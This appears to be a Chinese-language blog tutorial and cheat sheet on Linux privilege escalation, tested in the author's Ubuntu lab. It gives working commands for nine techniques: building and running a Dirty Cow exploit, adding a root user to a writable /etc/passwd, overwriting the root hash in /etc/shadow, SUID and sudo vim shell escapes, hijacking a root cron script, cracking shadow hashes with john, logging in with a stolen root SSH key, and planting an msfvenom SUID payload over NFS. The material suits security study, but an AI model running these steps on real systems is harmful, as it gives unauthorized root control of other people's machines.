Linux 提權

 Linux 提權

作者 : Noth

前言 : 

筆者一直以來都對 Linux 提權手法很陌生,常常滲透拿到主機權限時直接當機 xD,雖然知道是 Linux 主機,但腦袋中並沒有思緒要如何提權,這次專門記錄一下如何提 Linux 主機權限的部份。

內文 : 

1. 內核提權

最後才使用的手段,因為嚴重的話可能會造成系統崩潰、當機 ,最著名的應該是髒牛提權也叫做(Dirty Cow),這邊以 Dirty Cow 來當作實作例子。

實作環境 : 

需求 : Linux kernel 版本  >=  2.6.22

筆者有網路上看了一下相關文檔,kernel 版本需要  >=  2.6.22,於是我下載了 Ubuntu 14.04.5 LTS 進行測試

首先檢查內核版本 :  uname -a

git clone https://github.com/gbonacini/CVE-2016-5195.git
cd  CVE-2016-5195
make

執行 PoC 
./dcow -s -n

這只是其中之一的提權方式,可以利用 linux-exploit-suggester 等工具來查看相關內核提權的 CVE 漏洞,當然這是最暴力的方式,萬不得已的情況下才使用 ! 

Reference :  https://github.com/gbonacini/CVE-2016-5195

2.  /etc/passwd 提權

存儲了系统中所有用户的基本信息,並且所有用户都可以對此文件執行「讀」操作,但如果 /etc/passwd 配置不當一般使用者可以有「寫」的權限是不是能添加 root 用戶呢 xD  

實作環境 : 

需求 :  /etc/passwd  檔案具有寫(w)的權限

一樣在這邊使用 Ubuntu 14.04.5 LTS 進行測試 

查看 /etc/passwd 權限 :  ls -lh /etc/passwd  (假設全部人可讀可寫可執行)

直接 echo 用戶進去到 /etc/passwd 中
echo "noth:9/QG0DB3cC0ts:0:0:,,,:/root:/bin/bash"  >> /etc/passwd

成功添加 noth 用戶

切換成 noth 用戶
su noth 

筆者認為這是滿直觀的提權方式,查看 /etc/passwd 是否有寫的權限,有的話直接添加個 root 權限用戶就好 xD  這邊在稍微補充一下,那我們要怎麼產生 root 權限的密碼雜驟呢 ? 可以使用 openssl 功能 ->  openssl passwd 密碼

3.  /etc/shadow 提權

文件用於存儲加密後的密碼和密碼相關的配置信息,該文件的每一行代表一個用戶,其實和 /etc/passwd 提權是相同的原理 xD  只要 /etc/shadow 權限配置不當,直接修改 root 用戶的密碼就好 : ) 

實作環境 : 

需求 :  /etc/shadow  檔案具有寫(w)的權限

一樣在這邊使用 Ubuntu 14.04.5 LTS 進行測試 

查看 /etc/shadow 權限 :  ls -lh /etc/shadow  (假設全部人可讀可寫可執行)

利用 openssl 產生密碼雜驟
openssl passwd -1 -salt ignite noth

參數 : 
-1 : 使用 MD5 hash 算法
-salt : 對 hash 算法加 "鹽"

修改 root 用戶密碼

前 : 

後 : 

切換 root 用戶 

su root

4.  SUID 提權 

SUID 被定義為给予一個用户臨時的(程序/文件)所有者的權限來運行一個程序/文件,用户在執行程序/文件/命令的時候,將獲取文件所有者的權限以及所有者的UID和GID,提權的思路就是運行 root 用户所擁有的 SUID 的文件。

實作環境 : 

需求 :  檔案具有 suid 權限,並且屬於 root 用戶

一樣在這邊使用 Ubuntu 14.04.5 LTS 進行測試,並以 find 命令當作實作例子

先將 find 指令設置 suid 權限 (chmod 4755 /usr/bin/find)

查看 find 命令權限

透過 GTFOB 尋找 find suid 提權指令

根據指令進行提權

/usr/bin/find  . -exec /bin/sh  \; -quit 

當然不一定只有 find 命令可以拿來做 suid 提權,以及其他常見的例如 nmap、vim、find、bash、more、less、nano、cp 等 ... 在尋找有 suid 權限的檔案時,我們大致上可以分成兩派(手工/腳本)。

手工尋找 root 權限具有 suid 檔案 : 

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

腳本尋找 root 權限具有 suid 檔案 :

https://github.com/Jewel591/suidcheck

相關提權指令 Cheatsheet :  GTFOB 

5.  Cron Jobs 提權

Linux 系统中的「定時任務」,常被用來安排那些需要周期性執行的命令,例如定期備份數據、定期清理緩存等功能,因為使用到 cron 工具 (crontab),被稱作 Cron Jobs,假設腳本設定為「定時任務」以更高的用户權限運行(例如 root 用户) 來執行,則攻擊者可以竄改腳本來提權。

實作環境 :
Ubuntu 14.04.5 LTS
需求 :  有腳本被設定為 crontab 定時任務,並以高權限 root 用戶來執行

環境搭建 :
/home 目錄下新建一個叫做 cleanup,並在底下創建 4 個檔案 (1.txt、2.txt、1.php、2.php)

在 /tmp 目錄中建立 cleanup.py,寫入清除 /home/cleanup 目錄下所有東西

並賦予權限 chmod 777 cleanup.py

編輯 crontab 添加定時任務,每隔2分鐘運行一次 cleanup.py 腳本
vim /etc/crontab
*/2 *   * * *   root    /tmp/cleanup.py

相隔兩分鐘檔案被刪除

首先拿到非 root 權限,查看 /etc/crontab

查看 cleanup.py 權限以及相關 Code
ls -al /tmp/cleanup.py

修改 cleanup.py 腳本,添加 suid 權限給 /bin/dash

兩分鐘後運行 /bin/dash,拿到 root 權限

在這邊在提供大家一個 pspy 工具,在打滲透的時候可以丟進去對方主機 xD
觀察是否有可利用的腳本被設定為排程,以利竄改腳本來提權。

pspy (監控排程腳本) :  https://github.com/DominicBreuker/pspy

6.  sudo 提權

讓當前使用者以 root 或其他使用者身份(取決於 /etc/sudoers 檔案配置) 執行命令,/etc/sudoers 是許可權的配置檔案,該檔案用於配置具有 sudo 許可權的使用者和組,當你使用 sudo 執行任何命令時,Linux 系統會檢查 sudoers 檔案中配置的使用者名稱或組,若當前使用者和當前使用者所在的使用者組均不在 sudoers 檔案中,則不能使用 sudo 命令,提權思路就是下 sudo -l 去查看是否有命令是用 root 權限而不需要密碼 XD 

環境搭建 :
修改 /etc/sudoers
sudo vim /etc/sudoers

實作環境 :
Ubuntu 14.04.5 LTS
需求 : sudo -l 命令查看是否有命令以 root 權限執行而不需要密碼

普通使用者下 sudo -l 命令查看 :
發現 /usr/bin/vim 指令能以 root 權限執行且不需要密碼

gtfobins 網站查詢相關 sudo vim 提權指令
https://gtfobins.github.io/


執行相關提權指令 : 
sudo vim -c ':!/bin/sh'

成功提權 : 

7.  暴力破解提權

當 /etc/passwd 或 /etc/shadow 是可以讀取 (r) 時 , 可以把雜湊值儲保存到本地端 , 並利用一些工具 johnhashcat 等工具來破解雜湊 ,  再利用得到的明文進行登入。

查看 /etc/shadow 內容 : 
cat /etc/shadow

將 root 帳戶相關資訊保存到本地端儲存為 hash.txt : 

利用 john 破解雜湊 :
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

顯示 john 破解結果 : 
john --show hash.txt

切換 root 用戶 :
su root

8.  SSH 密鑰提權

當發現 SSH 的 root 用戶的 private kay 時,保留到本地端後並賦予權限 chmod 600,能使用 ssh 密鑰登入 root 帳戶。

將 root_key 保存到本地端

並授予 root_key 正確權限 : 
chmod 600 root_key

使用密鑰以 root 帳戶登錄 : 
ssh -i root_key root@victim'ip

9.  NFS 共享提權

檢查 victim 中的 NFS 配置 : 
cat /etc/exports

本地端創建一個掛載點並掛載 /tmp 共享 :
mount -o rw,vers=2 victim'ip:/tmp /tmp/nfs

本地端產生反彈 shell.elf : 
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

並設置 suid 權限 : 
chmod +xs /tmp/nfs/shell.elf
/tmp/shell.elf


留言

熱門文章